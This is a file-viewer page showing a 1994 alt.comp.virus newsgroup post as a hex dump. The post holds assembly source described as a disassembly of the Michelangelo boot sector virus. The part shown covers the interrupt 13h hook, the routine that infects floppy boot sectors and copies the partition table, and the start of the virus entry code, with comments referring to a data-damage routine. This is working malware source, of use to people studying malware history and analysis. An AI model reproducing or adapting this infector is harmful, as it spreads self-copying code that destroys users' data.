home *** CD-ROM | disk | FTP | other *** search
open in:
MacOS 8.1
|
Win98
|
DOS
view JSON data
|
view as text
This file was processed as: Mailbox/MIME Entity
(archive/mbox).
You can browse this item here: michelan.asm
Confidence | Program | Detection | Match Type | Support
|
---|
100%
| dexvert
| Mailbox/MIME Entity (archive/mbox)
| magic
| Supported |
100%
| dexvert
| Internet Message Format (text/imf)
| magic
| Supported |
100%
| dexvert
| Assembly Source File (text/asm)
| magic
| Supported |
1%
| dexvert
| freeCAD assembly (other/freeCADAssembly)
| ext
| Unsupported |
1%
| dexvert
| Text File (text/txt)
| fallback
| Supported |
100%
| file
| Mailbox text, 1st line "From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:45:29 1994", ASCII text
| default
| |
100%
| TrID
| E-Mail message (Var. 2)
| default
| |
100%
| checkBytes
| Printable ASCII
| default
| |
100%
| perlTextCheck
| Likely Text (Perl)
| default
| |
100%
| siegfried
| x-fmt/111 Plain Text File
| default
| |
100%
| detectItEasy
| Format: plain text[LF]
| default (weak)
| |
100%
| xdgMime
| application/mbox
| default
|
|
hex view+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |From net|com.com!|
|00000010| 69 78 2e 6e 65 74 63 6f | 6d 2e 63 6f 6d 21 6e 65 |ix.netco|m.com!ne|
|00000020| 74 6e 65 77 73 20 54 75 | 65 20 4e 6f 76 20 32 39 |tnews Tu|e Nov 29|
|00000030| 20 30 39 3a 34 35 3a 32 | 39 20 31 39 39 34 0a 58 | 09:45:2|9 1994.X|
|00000040| 72 65 66 3a 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 20 |ref: net|com.com |
|00000050| 61 6c 74 2e 63 6f 6d 70 | 2e 76 69 72 75 73 3a 35 |alt.comp|.virus:5|
|00000060| 31 31 0a 50 61 74 68 3a | 20 6e 65 74 63 6f 6d 2e |11.Path:| netcom.|
|00000070| 63 6f 6d 21 69 78 2e 6e | 65 74 63 6f 6d 2e 63 6f |com!ix.n|etcom.co|
|00000080| 6d 21 6e 65 74 6e 65 77 | 73 0a 46 72 6f 6d 3a 20 |m!netnew|s.From: |
|00000090| 5a 65 70 70 65 6c 69 6e | 40 69 78 2e 6e 65 74 63 |Zeppelin|@ix.netc|
|000000a0| 6f 6d 2e 63 6f 6d 20 28 | 4d 72 2e 20 47 29 0a 4e |om.com (|Mr. G).N|
|000000b0| 65 77 73 67 72 6f 75 70 | 73 3a 20 61 6c 74 2e 63 |ewsgroup|s: alt.c|
|000000c0| 6f 6d 70 2e 76 69 72 75 | 73 0a 53 75 62 6a 65 63 |omp.viru|s.Subjec|
|000000d0| 74 3a 20 59 65 20 4f 6c | 65 20 4d 69 63 68 65 6c |t: Ye Ol|e Michel|
|000000e0| 41 6e 67 65 6c 6f 20 56 | 69 72 75 73 0a 44 61 74 |Angelo V|irus.Dat|
|000000f0| 65 3a 20 32 39 20 4e 6f | 76 20 31 39 39 34 20 31 |e: 29 No|v 1994 1|
|00000100| 33 3a 31 39 3a 35 33 20 | 47 4d 54 0a 4f 72 67 61 |3:19:53 |GMT.Orga|
|00000110| 6e 69 7a 61 74 69 6f 6e | 3a 20 4e 65 74 63 6f 6d |nization|: Netcom|
|00000120| 0a 4c 69 6e 65 73 3a 20 | 32 34 38 0a 44 69 73 74 |.Lines: |248.Dist|
|00000130| 72 69 62 75 74 69 6f 6e | 3a 20 77 6f 72 6c 64 0a |ribution|: world.|
|00000140| 4d 65 73 73 61 67 65 2d | 49 44 3a 20 3c 33 62 66 |Message-|ID: <3bf|
|00000150| 39 70 70 24 69 69 6c 40 | 69 78 6e 65 77 73 31 2e |9pp$iil@|ixnews1.|
|00000160| 69 78 2e 6e 65 74 63 6f | 6d 2e 63 6f 6d 3e 0a 52 |ix.netco|m.com>.R|
|00000170| 65 66 65 72 65 6e 63 65 | 73 3a 20 3c 73 62 72 69 |eference|s: <sbri|
|00000180| 6e 67 65 72 44 30 30 79 | 48 76 2e 48 73 33 40 6e |ngerD00y|Hv.Hs3@n|
|00000190| 65 74 63 6f 6d 2e 63 6f | 6d 3e 20 3c 62 72 61 64 |etcom.co|m> <brad|
|000001a0| 6c 65 79 6d 44 30 31 31 | 76 4a 2e 4c 70 38 40 6e |leymD011|vJ.Lp8@n|
|000001b0| 65 74 63 6f 6d 2e 63 6f | 6d 3e 0a 4e 4e 54 50 2d |etcom.co|m>.NNTP-|
|000001c0| 50 6f 73 74 69 6e 67 2d | 48 6f 73 74 3a 20 69 78 |Posting-|Host: ix|
|000001d0| 2d 70 61 73 32 2d 31 30 | 2e 69 78 2e 6e 65 74 63 |-pas2-10|.ix.netc|
|000001e0| 6f 6d 2e 63 6f 6d 0a 0a | 3b 20 54 68 69 73 20 69 |om.com..|; This i|
|000001f0| 73 20 61 20 64 69 73 61 | 73 73 65 6d 62 6c 79 20 |s a disa|ssembly |
|00000200| 6f 66 20 74 68 65 20 6d | 75 63 68 2d 68 79 70 65 |of the m|uch-hype|
|00000210| 64 20 6d 69 63 68 65 6c | 61 6e 67 65 6c 6f 20 76 |d michel|angelo v|
|00000220| 69 72 75 73 2e 0a 3b 20 | 41 73 20 79 6f 75 20 63 |irus..; |As you c|
|00000230| 61 6e 20 73 65 65 2c 20 | 69 74 20 69 73 20 61 20 |an see, |it is a |
|00000240| 64 65 72 69 76 61 74 69 | 76 65 20 6f 66 20 74 68 |derivati|ve of th|
|00000250| 65 20 53 74 6f 6e 65 64 | 20 76 69 72 75 73 2e 20 |e Stoned| virus. |
|00000260| 20 54 68 65 0a 3b 20 6a | 75 6e 6b 20 62 79 74 65 | The.; j|unk byte|
|00000270| 73 20 61 74 20 74 68 65 | 20 65 6e 64 20 6f 66 20 |s at the| end of |
|00000280| 74 68 65 20 66 69 6c 65 | 20 61 72 65 20 70 72 6f |the file| are pro|
|00000290| 62 61 62 6c 79 20 74 68 | 72 6f 77 62 61 63 6b 73 |bably th|rowbacks|
|000002a0| 20 74 6f 0a 3b 20 74 68 | 65 20 53 74 6f 6e 65 64 | to.; th|e Stoned|
|000002b0| 20 76 69 72 75 73 2e 20 | 20 49 6e 20 61 6e 79 20 | virus. | In any |
|000002c0| 63 61 73 65 2c 20 69 74 | 20 69 73 20 79 65 74 20 |case, it| is yet |
|000002d0| 61 6e 6f 74 68 65 72 20 | 62 6f 6f 74 20 73 65 63 |another |boot sec|
|000002e0| 74 6f 72 0a 3b 20 61 6e | 64 20 70 61 72 74 69 74 |tor.; an|d partit|
|000002f0| 69 6f 6e 20 74 61 62 6c | 65 20 69 6e 66 65 63 74 |ion tabl|e infect|
|00000300| 6f 72 2e 0a 0a 6d 69 63 | 68 65 6c 61 6e 67 65 6c |or...mic|helangel|
|00000310| 6f 20 20 20 20 73 65 67 | 6d 65 6e 74 20 62 79 74 |o seg|ment byt|
|00000320| 65 20 70 75 62 6c 69 63 | 0a 20 20 20 20 20 20 20 |e public|. |
|00000330| 20 20 20 20 20 20 20 20 | 20 61 73 73 75 6d 65 20 | | assume |
|00000340| 20 63 73 3a 6d 69 63 68 | 65 6c 61 6e 67 65 6c 6f | cs:mich|elangelo|
|00000350| 2c 20 64 73 3a 6d 69 63 | 68 65 6c 61 6e 67 65 6c |, ds:mic|helangel|
|00000360| 6f 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |o. | |
|00000370| 20 20 6f 72 67 20 20 20 | 20 20 30 0a 0a 20 20 20 | org | 0.. |
|00000380| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6a 6d 70 | | jmp|
|00000390| 20 20 20 20 20 65 6e 74 | 65 72 76 69 72 75 73 0a | ent|ervirus.|
|000003a0| 68 69 67 68 6d 65 6d 6a | 6d 70 20 20 20 20 20 20 |highmemj|mp |
|000003b0| 64 62 20 20 20 20 20 20 | 30 46 35 68 2c 20 30 30 |db |0F5h, 00|
|000003c0| 68 2c 20 38 30 68 2c 20 | 39 46 68 0a 6d 61 78 68 |h, 80h, |9Fh.maxh|
|000003d0| 65 61 64 20 20 20 20 20 | 20 20 20 20 64 62 20 20 |ead | db |
|000003e0| 20 20 20 20 32 20 20 20 | 20 20 20 20 20 20 20 20 | 2 | |
|000003f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 75 73 | | ; us|
|00000400| 65 64 20 62 79 20 64 61 | 6d 61 67 65 73 74 75 66 |ed by da|magestuf|
|00000410| 66 0a 66 69 72 73 74 73 | 65 63 74 6f 72 20 20 20 |f.firsts|ector |
|00000420| 20 20 64 77 20 20 20 20 | 20 20 33 0a 6f 6c 64 69 | dw | 3.oldi|
|00000430| 6e 74 31 33 68 20 20 20 | 20 20 20 20 64 64 20 20 |nt13h | dd |
|00000440| 20 20 20 20 30 43 38 30 | 30 30 32 35 36 68 0a 0a | 0C80|00256h..|
|00000450| 69 6e 74 31 33 68 3a 0a | 20 20 20 20 20 20 20 20 |int13h:.| |
|00000460| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 | |push |
|00000470| 64 73 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ds. | |
|00000480| 20 20 20 70 75 73 68 20 | 20 20 20 61 78 0a 20 20 | push | ax. |
|00000490| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6f 72 | | or|
|000004a0| 20 20 20 20 20 20 64 6c | 2c 20 64 6c 20 20 20 20 | dl|, dl |
|000004b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|000004c0| 64 65 66 61 75 6c 74 20 | 64 72 69 76 65 3f 0a 20 |default |drive?. |
|000004d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6a | | j|
|000004e0| 6e 7a 20 20 20 20 20 65 | 78 69 74 69 6e 74 31 33 |nz e|xitint13|
|000004f0| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |h | ;|
|00000500| 20 65 78 69 74 20 69 66 | 20 6e 6f 74 0a 20 20 20 | exit if| not. |
|00000510| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 78 6f 72 | | xor|
|00000520| 20 20 20 20 20 61 78 2c | 20 61 78 0a 20 20 20 20 | ax,| ax. |
|00000530| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 | | mov |
|00000540| 20 20 20 20 64 73 2c 20 | 61 78 0a 20 20 20 20 20 | ds, |ax. |
|00000550| 20 20 20 20 20 20 20 20 | 20 20 20 74 65 73 74 20 | | test |
|00000560| 20 20 20 62 79 74 65 20 | 70 74 72 20 64 73 3a 5b | byte |ptr ds:[|
|00000570| 34 33 66 68 5d 2c 20 31 | 20 20 20 3b 20 64 69 73 |43fh], 1| ; dis|
|00000580| 6b 20 30 20 6f 6e 3f 0a | 20 20 20 20 20 20 20 20 |k 0 on?.| |
|00000590| 20 20 20 20 20 20 20 20 | 6a 6e 7a 20 20 20 20 20 | |jnz |
|000005a0| 65 78 69 74 69 6e 74 31 | 33 68 20 20 20 20 20 20 |exitint1|3h |
|000005b0| 20 20 20 20 20 20 20 20 | 3b 20 69 66 20 6e 6f 74 | |; if not|
|000005c0| 20 73 70 69 6e 6e 69 6e | 67 2c 20 65 78 69 74 0a | spinnin|g, exit.|
|000005d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000005e0| 70 6f 70 20 20 20 20 20 | 61 78 0a 20 20 20 20 20 |pop |ax. |
|000005f0| 20 20 20 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 | | pop |
|00000600| 20 20 20 64 73 0a 20 20 | 20 20 20 20 20 20 20 20 | ds. | |
|00000610| 20 20 20 20 20 20 70 75 | 73 68 66 0a 20 20 20 20 | pu|shf. |
|00000620| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 61 6c 6c | | call|
|00000630| 20 20 20 20 64 77 6f 72 | 64 20 70 74 72 20 63 73 | dwor|d ptr cs|
|00000640| 3a 5b 6f 6c 64 69 6e 74 | 31 33 68 5d 3b 20 66 69 |:[oldint|13h]; fi|
|00000650| 72 73 74 20 63 61 6c 6c | 20 6f 6c 64 20 69 6e 74 |rst call| old int|
|00000660| 20 31 33 68 0a 20 20 20 | 20 20 20 20 20 20 20 20 | 13h. | |
|00000670| 20 20 20 20 20 70 75 73 | 68 66 0a 20 20 20 20 20 | pus|hf. |
|00000680| 20 20 20 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 | | call |
|00000690| 20 20 20 69 6e 66 65 63 | 74 64 69 73 6b 20 20 20 | infec|tdisk |
|000006a0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 74 68 65 | | ; the|
|000006b0| 6e 20 69 6e 66 65 63 74 | 0a 20 20 20 20 20 20 20 |n infect|. |
|000006c0| 20 20 20 20 20 20 20 20 | 20 70 6f 70 66 0a 20 20 | | popf. |
|000006d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 72 65 | | re|
|000006e0| 74 66 20 20 20 20 32 0a | 65 78 69 74 69 6e 74 31 |tf 2.|exitint1|
|000006f0| 33 68 3a 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 |3h: |pop |
|00000700| 61 78 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ax. | |
|00000710| 20 20 20 70 6f 70 20 20 | 20 20 20 64 73 0a 20 20 | pop | ds. |
|00000720| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6a 6d | | jm|
|00000730| 70 20 20 20 20 20 64 77 | 6f 72 64 20 70 74 72 20 |p dw|ord ptr |
|00000740| 63 73 3a 5b 6f 6c 64 69 | 6e 74 31 33 68 5d 0a 0a |cs:[oldi|nt13h]..|
|00000750| 69 6e 66 65 63 74 64 69 | 73 6b 3a 0a 20 20 20 20 |infectdi|sk:. |
|00000760| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 75 73 68 | | push|
|00000770| 20 20 20 20 61 78 0a 20 | 20 20 20 20 20 20 20 20 | ax. | |
|00000780| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 62 | p|ush b|
|00000790| 78 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x. | |
|000007a0| 20 20 70 75 73 68 20 20 | 20 20 63 78 0a 20 20 20 | push | cx. |
|000007b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 70 75 73 | | pus|
|000007c0| 68 20 20 20 20 64 78 0a | 20 20 20 20 20 20 20 20 |h dx.| |
|000007d0| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 | |push |
|000007e0| 64 73 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ds. | |
|000007f0| 20 20 20 70 75 73 68 20 | 20 20 20 65 73 0a 20 20 | push | es. |
|00000800| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 75 | | pu|
|00000810| 73 68 20 20 20 20 73 69 | 0a 20 20 20 20 20 20 20 |sh si|. |
|00000820| 20 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 | | push |
|00000830| 20 64 69 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 | di. | |
|00000840| 20 20 20 20 70 75 73 68 | 20 20 20 20 63 73 0a 20 | push| cs. |
|00000850| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 | | p|
|00000860| 6f 70 20 20 20 20 20 64 | 73 0a 20 20 20 20 20 20 |op d|s. |
|00000870| 20 20 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 | | push |
|00000880| 20 20 63 73 0a 20 20 20 | 20 20 20 20 20 20 20 20 | cs. | |
|00000890| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 65 73 0a | pop| es.|
|000008a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000008b0| 6d 6f 76 20 20 20 20 20 | 73 69 2c 20 34 0a 72 65 |mov |si, 4.re|
|000008c0| 61 64 62 6f 6f 74 62 6c | 6f 63 6b 3a 0a 20 20 20 |adbootbl|ock:. |
|000008d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|000008e0| 20 20 20 20 20 61 78 2c | 32 30 31 68 20 20 20 20 | ax,|201h |
|000008f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 52 | | ; R|
|00000900| 65 61 64 20 62 6f 6f 74 | 20 62 6c 6f 63 6b 20 74 |ead boot| block t|
|00000910| 6f 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |o. | |
|00000920| 20 20 6d 6f 76 20 20 20 | 20 20 62 78 2c 32 30 30 | mov | bx,200|
|00000930| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h | |
|00000940| 20 20 3b 20 61 66 74 65 | 72 20 76 69 72 75 73 0a | ; afte|r virus.|
|00000950| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000960| 6d 6f 76 20 20 20 20 20 | 63 78 2c 31 0a 20 20 20 |mov |cx,1. |
|00000970| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 78 6f 72 | | xor|
|00000980| 20 20 20 20 20 64 78 2c | 64 78 0a 20 20 20 20 20 | dx,|dx. |
|00000990| 20 20 20 20 20 20 20 20 | 20 20 20 70 75 73 68 66 | | pushf|
|000009a0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000009b0| 20 63 61 6c 6c 20 20 20 | 20 6f 6c 64 69 6e 74 31 | call | oldint1|
|000009c0| 33 68 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |3h. | |
|000009d0| 20 20 20 6a 6e 63 20 20 | 20 20 20 63 68 65 63 6b | jnc | check|
|000009e0| 69 6e 66 65 63 74 20 20 | 20 20 20 20 20 20 20 20 |infect | |
|000009f0| 20 20 20 3b 20 63 6f 6e | 74 69 6e 75 65 20 69 66 | ; con|tinue if|
|00000a00| 20 6e 6f 20 65 72 72 6f | 72 0a 20 20 20 20 20 20 | no erro|r. |
|00000a10| 20 20 20 20 20 20 20 20 | 20 20 78 6f 72 20 20 20 | | xor |
|00000a20| 20 20 61 78 2c 61 78 0a | 20 20 20 20 20 20 20 20 | ax,ax.| |
|00000a30| 20 20 20 20 20 20 20 20 | 70 75 73 68 66 0a 20 20 | |pushf. |
|00000a40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 63 61 | | ca|
|00000a50| 6c 6c 20 20 20 20 6f 6c | 64 69 6e 74 31 33 68 20 |ll ol|dint13h |
|00000a60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00000a70| 52 65 73 65 74 20 64 69 | 73 6b 0a 20 20 20 20 20 |Reset di|sk. |
|00000a80| 20 20 20 20 20 20 20 20 | 20 20 20 64 65 63 20 20 | | dec |
|00000a90| 20 20 20 73 69 20 20 20 | 20 20 20 20 20 20 20 20 | si | |
|00000aa0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 6c 6f 6f | | ; loo|
|00000ab0| 70 20 62 61 63 6b 0a 20 | 20 20 20 20 20 20 20 20 |p back. | |
|00000ac0| 20 20 20 20 20 20 20 6a | 6e 7a 20 20 20 20 20 72 | j|nz r|
|00000ad0| 65 61 64 62 6f 6f 74 62 | 6c 6f 63 6b 0a 20 20 20 |eadbootb|lock. |
|00000ae0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6a 6d 70 | | jmp|
|00000af0| 20 20 20 20 20 73 68 6f | 72 74 20 71 75 69 74 69 | sho|rt quiti|
|00000b00| 6e 66 65 63 74 20 20 20 | 20 20 20 20 20 3b 20 65 |nfect | ; e|
|00000b10| 78 69 74 20 69 66 20 74 | 6f 6f 20 6d 61 6e 79 20 |xit if t|oo many |
|00000b20| 0a 66 61 69 6c 75 72 65 | 73 0a 63 68 65 63 6b 69 |.failure|s.checki|
|00000b30| 6e 66 65 63 74 3a 0a 20 | 20 20 20 20 20 20 20 20 |nfect:. | |
|00000b40| 20 20 20 20 20 20 20 78 | 6f 72 20 20 20 20 20 73 | x|or s|
|00000b50| 69 2c 73 69 0a 20 20 20 | 20 20 20 20 20 20 20 20 |i,si. | |
|00000b60| 20 20 20 20 20 63 6c 64 | 0a 20 20 20 20 20 20 20 | cld|. |
|00000b70| 20 20 20 20 20 20 20 20 | 20 6c 6f 64 73 77 0a 20 | | lodsw. |
|00000b80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 | | c|
|00000b90| 6d 70 20 20 20 20 20 61 | 78 2c 5b 62 78 5d 20 20 |mp a|x,[bx] |
|00000ba0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00000bb0| 20 63 68 65 63 6b 20 69 | 66 20 61 6c 72 65 61 64 | check i|f alread|
|00000bc0| 79 20 0a 69 6e 66 65 63 | 74 65 64 0a 20 20 20 20 |y .infec|ted. |
|00000bd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6a 6e 65 20 | | jne |
|00000be0| 20 20 20 20 69 6e 66 65 | 63 74 69 74 6e 6f 77 0a | infe|ctitnow.|
|00000bf0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000c00| 6c 6f 64 73 77 0a 20 20 | 20 20 20 20 20 20 20 20 |lodsw. | |
|00000c10| 20 20 20 20 20 20 63 6d | 70 20 20 20 20 20 61 78 | cm|p ax|
|00000c20| 2c 5b 62 78 2b 32 5d 20 | 20 20 20 20 20 20 20 20 |,[bx+2] | |
|00000c30| 20 20 20 20 20 20 3b 20 | 63 68 65 63 6b 20 61 67 | ; |check ag|
|00000c40| 61 69 6e 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ain. | |
|00000c50| 20 20 20 20 6a 65 20 20 | 20 20 20 20 71 75 69 74 | je | quit|
|00000c60| 69 6e 66 65 63 74 0a 69 | 6e 66 65 63 74 69 74 6e |infect.i|nfectitn|
|00000c70| 6f 77 3a 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ow:. | |
|00000c80| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 78 2c 33 | mov | ax,3|
|00000c90| 30 31 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |01h | |
|00000ca0| 20 20 20 20 3b 20 57 72 | 69 74 65 20 6f 6c 64 20 | ; Wr|ite old |
|00000cb0| 62 6f 6f 74 20 62 6c 6f | 63 6b 0a 20 20 20 20 20 |boot blo|ck. |
|00000cc0| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|00000cd0| 20 20 20 64 68 2c 31 20 | 20 20 20 20 20 20 20 20 | dh,1 | |
|00000ce0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 74 6f 20 | | ; to |
|00000cf0| 68 65 61 64 20 31 0a 20 | 20 20 20 20 20 20 20 20 |head 1. | |
|00000d00| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 63 | m|ov c|
|00000d10| 6c 2c 33 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |l,3 | |
|00000d20| 20 20 20 20 20 20 20 3b | 20 73 65 63 74 6f 72 20 | ;| sector |
|00000d30| 33 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |3. | |
|00000d40| 20 20 63 6d 70 20 20 20 | 20 20 62 79 74 65 20 70 | cmp | byte p|
|00000d50| 74 72 20 5b 62 78 2b 31 | 35 68 5d 2c 30 46 44 68 |tr [bx+1|5h],0FDh|
|00000d60| 20 20 3b 20 33 36 30 6b | 20 64 69 73 6b 3f 0a 20 | ; 360k| disk?. |
|00000d70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6a | | j|
|00000d80| 65 20 20 20 20 20 20 69 | 73 33 36 30 4b 64 69 73 |e i|s360Kdis|
|00000d90| 6b 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |k. | |
|00000da0| 20 20 6d 6f 76 20 20 20 | 20 20 63 6c 2c 30 45 68 | mov | cl,0Eh|
|00000db0| 0a 69 73 33 36 30 4b 64 | 69 73 6b 3a 0a 20 20 20 |.is360Kd|isk:. |
|00000dc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00000dd0| 20 20 20 20 20 66 69 72 | 73 74 73 65 63 74 6f 72 | fir|stsector|
|00000de0| 2c 63 78 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |,cx. | |
|00000df0| 20 20 20 20 70 75 73 68 | 66 0a 20 20 20 20 20 20 | push|f. |
|00000e00| 20 20 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 | | call |
|00000e10| 20 20 6f 6c 64 69 6e 74 | 31 33 68 0a 20 20 20 20 | oldint|13h. |
|00000e20| 20 20 20 20 20 20 20 20 | 20 20 20 20 6a 63 20 20 | | jc |
|00000e30| 20 20 20 20 71 75 69 74 | 69 6e 66 65 63 74 20 20 | quit|infect |
|00000e40| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 65 78 | | ; ex|
|00000e50| 69 74 20 6f 6e 20 65 72 | 72 6f 72 0a 20 20 20 20 |it on er|ror. |
|00000e60| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 | | mov |
|00000e70| 20 20 20 20 73 69 2c 32 | 30 30 68 2b 6f 66 66 73 | si,2|00h+offs|
|00000e80| 65 74 20 70 61 72 74 69 | 74 69 6f 6e 69 6e 66 6f |et parti|tioninfo|
|00000e90| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000ea0| 20 6d 6f 76 20 20 20 20 | 20 64 69 2c 6f 66 66 73 | mov | di,offs|
|00000eb0| 65 74 20 70 61 72 74 69 | 74 69 6f 6e 69 6e 66 6f |et parti|tioninfo|
|00000ec0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000ed0| 20 6d 6f 76 20 20 20 20 | 20 63 78 2c 32 31 68 20 | mov | cx,21h |
|00000ee0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000ef0| 20 3b 20 43 6f 70 79 20 | 70 61 72 74 69 74 69 6f | ; Copy |partitio|
|00000f00| 6e 20 74 61 62 6c 65 0a | 20 20 20 20 20 20 20 20 |n table.| |
|00000f10| 20 20 20 20 20 20 20 20 | 63 6c 64 0a 20 20 20 20 | |cld. |
|00000f20| 20 20 20 20 20 20 20 20 | 20 20 20 20 72 65 70 20 | | rep |
|00000f30| 20 20 20 20 6d 6f 76 73 | 77 0a 20 20 20 20 20 20 | movs|w. |
|00000f40| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 | | mov |
|00000f50| 20 20 61 78 2c 33 30 31 | 68 20 20 20 20 20 20 20 | ax,301|h |
|00000f60| 20 20 20 20 20 20 20 20 | 20 20 3b 20 57 72 69 74 | | ; Writ|
|00000f70| 65 20 76 69 72 75 73 20 | 74 6f 20 73 65 63 74 6f |e virus |to secto|
|00000f80| 72 20 0a 31 0a 20 20 20 | 20 20 20 20 20 20 20 20 |r .1. | |
|00000f90| 20 20 20 20 20 78 6f 72 | 20 20 20 20 20 62 78 2c | xor| bx,|
|00000fa0| 62 78 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |bx. | |
|00000fb0| 20 20 20 6d 6f 76 20 20 | 20 20 20 63 78 2c 31 0a | mov | cx,1.|
|00000fc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000fd0| 78 6f 72 20 20 20 20 20 | 64 78 2c 64 78 0a 20 20 |xor |dx,dx. |
|00000fe0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 75 | | pu|
|00000ff0| 73 68 66 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |shf. | |
|00001000| 20 20 20 20 63 61 6c 6c | 20 20 20 20 6f 6c 64 69 | call| oldi|
|00001010| 6e 74 31 33 68 0a 71 75 | 69 74 69 6e 66 65 63 74 |nt13h.qu|itinfect|
|00001020| 3a 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |:. | |
|00001030| 20 20 70 6f 70 20 20 20 | 20 20 64 69 0a 20 20 20 | pop | di. |
|00001040| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 70 6f 70 | | pop|
|00001050| 20 20 20 20 20 73 69 0a | 20 20 20 20 20 20 20 20 | si.| |
|00001060| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 | |pop |
|00001070| 65 73 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |es. | |
|00001080| 20 20 20 70 6f 70 20 20 | 20 20 20 64 73 0a 20 20 | pop | ds. |
|00001090| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f | | po|
|000010a0| 70 20 20 20 20 20 64 78 | 0a 20 20 20 20 20 20 20 |p dx|. |
|000010b0| 20 20 20 20 20 20 20 20 | 20 70 6f 70 20 20 20 20 | | pop |
|000010c0| 20 63 78 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 | cx. | |
|000010d0| 20 20 20 20 70 6f 70 20 | 20 20 20 20 62 78 0a 20 | pop | bx. |
|000010e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 | | p|
|000010f0| 6f 70 20 20 20 20 20 61 | 78 0a 20 20 20 20 20 20 |op a|x. |
|00001100| 20 20 20 20 20 20 20 20 | 20 20 72 65 74 6e 0a 65 | | retn.e|
|00001110| 6e 74 65 72 76 69 72 75 | 73 3a 0a 20 20 20 20 20 |nterviru|s:. |
|00001120| 20 20 20 20 20 20 20 20 | 20 20 20 78 6f 72 20 20 | | xor |
|00001130| 20 20 20 61 78 2c 61 78 | 0a 20 20 20 20 20 20 20 | ax,ax|. |
